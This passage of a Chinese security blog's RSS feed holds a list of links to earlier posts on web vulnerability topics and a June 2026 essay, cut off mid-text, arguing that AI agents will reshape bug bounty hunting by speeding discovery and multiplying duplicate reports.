href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=0a40f9c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRzPTbMhiaTCmYbpJGUx9OuPLcj3fxq8tGNmKiccicB9bcWCGEpH2fHxvuFysAicmONPZppwPRm8tuSPuh7EpHr7OwmCjpYEgr0PEmc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/1849626" target="_blank">https://hackerone.com/reports/1849626</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ba3f7c62&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499570%26idx%3D1%26sn%3D845974de723dbcd86e8358ada0bbc851">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 17 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>AI会扼杀漏洞赏金产业吗？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499564&amp;idx=1&amp;sn=c93da6721292878bb3562a47bc5ad788</link>
      <description>声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部</description>
      <content:encoded><![CDATA[<p><span>骨哥说事</span> <span>2026-06-16 11:00</span> <span style="display: inline-block;">四川</span></p>




  <p>以下文章来源于：骨哥说事</p>
  <strong>骨哥说事</strong>
  <p>一个喜爱鼓捣的技术宅</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=871b76f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRwwKTwPhvYoPZtsRHS4dL9EDnzzhaF4K0e1CqCpTdI5Yoe8QzG79yObpI7dFm8sNWn2sHK85PfpJjJeeRiaC2nibp084Gxq1qS6k%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table><p style="text-align: center;margin-bottom: 0px;"><span leaf=""><img data-aistatus="1" alt="Vulnerability" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="jpeg" data-w="1080" data-imgfileid="502781659" src="https://wechat2rss.xlab.app/img-proxy/?k=4820ebcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTKdPSwEibsZg6nutYKrHn6gj2G4J8oxIUlA3jtbJYRlPzXupt0VpxGG9N2vLibeickbhr3avuWyKVh3cK5C3P6o8fl5fGVM3ichOmTxkCz9kf2Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><div data-tool="markdown2wechat编辑器" data-website="https://aizhuanqian.com" style="color: black;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 10px;margin-bottom: 24px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">导语</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">过去十几年，Bug Bounty 一直被视为网络安全行业里最“公平”的赛道之一。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">它不完全看学历，不完全看公司背景，也不完全看你是不是安全圈里的人。只要你技术够硬、耐心够足、运气够好，就有机会从 Google、Microsoft、Apple、Meta 等大厂拿到几千甚至数万美元的漏洞奖励。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但进入 2026 年，一个问题开始被越来越多安全研究员讨论：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">AI 会不会让漏洞赏金行业走向终结？</span></strong></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">近期，SecurityWeek 发表文章《Will AI Kill the Bug Bounty Industry?》，认为 Anthropic 等公司的新一代 AI 正在把漏洞发现速度提升到“机器级别”，整个行业正在发生根本变化。与此同时，不少一线漏洞猎人也承认：AI 已经彻底改变了他们的工作方式。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">那么，AI 真的会杀死 Bug Bounty 吗？</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">更准确的答案或许是：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">不会。但它会重新定义这个行业。</span></strong><strong style="font-weight: bold;color: black;"><span leaf="">未来被淘汰的，可能不是漏洞赏金，而是只会做重复劳动的普通漏洞猎人。</span></strong></p></blockquote><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">Bug Bounty 为什么如此吸引人？</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">Bug Bounty，也就是漏洞赏金计划，本质上可以理解为：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">企业向全球安全研究员公开悬赏，请他们帮助发现系统中的安全漏洞。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">例如：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Google Vulnerability Reward Program</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Microsoft Bug Bounty</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Apple Security Bounty</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Meta Bug Bounty</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">研究员发现漏洞后，按照平台规则提交报告。一旦漏洞被确认，就可以获得对应奖励。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在过去很长一段时间里，Bug Bounty 对很多安全爱好者来说，都有一种独特的吸引力。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">它不像传统求职那样，过分强调学历、履历、公司背景；它更看重实际能力。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">你能不能发现漏洞？ 能不能复现问题？ 能不能写出清晰报告？ 能不能证明风险真实存在？</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这些，往往比简历上的标签更重要。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">也正因为如此，许多知名安全研究员并不是传统安全公司的员工，而是独立研究者、自由漏洞猎人，甚至是业余安全爱好者。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">Bug Bounty 曾经提供了一个相对开放的舞台：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">只要你足够强，就有机会被看见。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但问题是，当 AI 也开始走上这个舞台，规则就变了。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">AI带来的第一场冲击：漏洞发现速度暴涨</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">过去寻找漏洞，大致流程是：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="2.580071174377224" data-s="300,640" data-type="png" data-w="562" style="width:180px;height:464px;" type="block" data-imgfileid="502781653" src="https://wechat2rss.xlab.app/img-proxy/?k=87d3bc47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTKdPSwEibsZhw6u3QGQCkqLlfiaoIFbYJYxE35TAyablDZnwRZK8PPTaicia3uCJTb5ibicic0ABMUb9e9HQlRty11D7lZJYn5ibaZObtIbEXic5Yzbc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">其中大量时间花费在：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">资产收集</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">子域名枚举</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">参数分析</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">API 枚举</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">JavaScript 文件分析</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">路径发现</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">端点整理</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这些工作非常依赖耐心，也很容易陷入重复劳动。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">而 AI，尤其是结合 Agent 工作流之后，正在快速改变这一局面。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">如今，越来越多研究员开始使用类似：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Claude Code</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Cursor</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">OpenAI Codex类工具</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Agent工作流</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">AI 可以长时间阅读代码、分析项目结构、梳理接口逻辑，甚至自动整理潜在风险点。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">过去可能需要几天完成的资产梳理和代码阅读，现在可能被压缩到几个小时，甚至更短。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这意味着什么？</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">意味着漏洞发现不再只是少数高手之间的较量。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">当 AI 工具普及之后，更多人可以以更低成本、更高效率进入漏洞挖掘流程。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">于是，一个新的问题出现了：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">如果大家都用 AI 找漏洞，那么同一个漏洞是不是会更快被别人发现？</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">答案是：</span><strong style="font-weight: bold;color: black;"><span leaf="">是的。</span></strong></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h1 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">最大的问题不是AI找到漏洞，而是重复报告</span></h1><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">Bug Bounty最怕什么？</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">不是没有漏洞。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">而是：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">Duplicate（重复提交）。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">假设某网站存在一个IDOR漏洞。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">以前：</span></strong></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">可能只有少数高手能够发现。</span></strong></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">而现在是这样的：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5148148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="502781654" src="https://wechat2rss.xlab.app/img-proxy/?k=1cd85ffa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTKdPSwEibsZg0BD5LIJHhwFBNVoc8mKKJcV4WKPa2AYNpDzJpxqqNJTr6Q1qVt9iaLzBAyypE0VHtwichV0PXoFoXJt8xpb1OFQ0OibJ1fDibCq0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">数百个AI Agent可能同时扫描出同一个问题。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">最终结果就是：</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">第一位提交的人获得奖金。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">后面所有人收到一句：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">重复提交</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">奖励：0元。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这也是为什么不少漏洞猎人开始感受到压力。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">AI 并没有直接消灭 Bug Bounty，但它显著提高了竞争强度。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">以前，你可能是在和一群高水平研究员竞争。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 